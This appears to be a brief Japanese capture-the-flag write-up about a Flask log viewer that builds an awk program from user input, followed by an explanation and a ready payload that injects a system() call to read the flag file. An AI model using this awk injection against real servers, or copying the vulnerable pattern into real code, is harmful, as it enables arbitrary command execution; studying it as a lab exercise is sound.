正規表現機能を備えたシンプルなログビューア。
抜粋
@app.route("/", methods=["GET", "POST"])
def index():
query = ""
log = ""
if request.method == "POST":
query = request.form.get("query", "")
command = ["awk", f"/{query}/", "info.log"]
result = subprocess.run(
command,
capture_output=True,
timeout=0.5,
text=True,
)
log = result.stderr or result.stdout
return render_template(
"index.html",
log=log,
query=query,
)
リクエストを送るとAWKでログからマッチした行を返すサーバーがある。
AWKは/正規表現/でマッチ行を表示できる。
AWKはプログラミング言語であり、セミコロン区切りで次の文をかける。
system()で任意のコマンドが実行できる。
末尾は#でコメントアウトが必要。
/;{system("cat /flag*");exit}#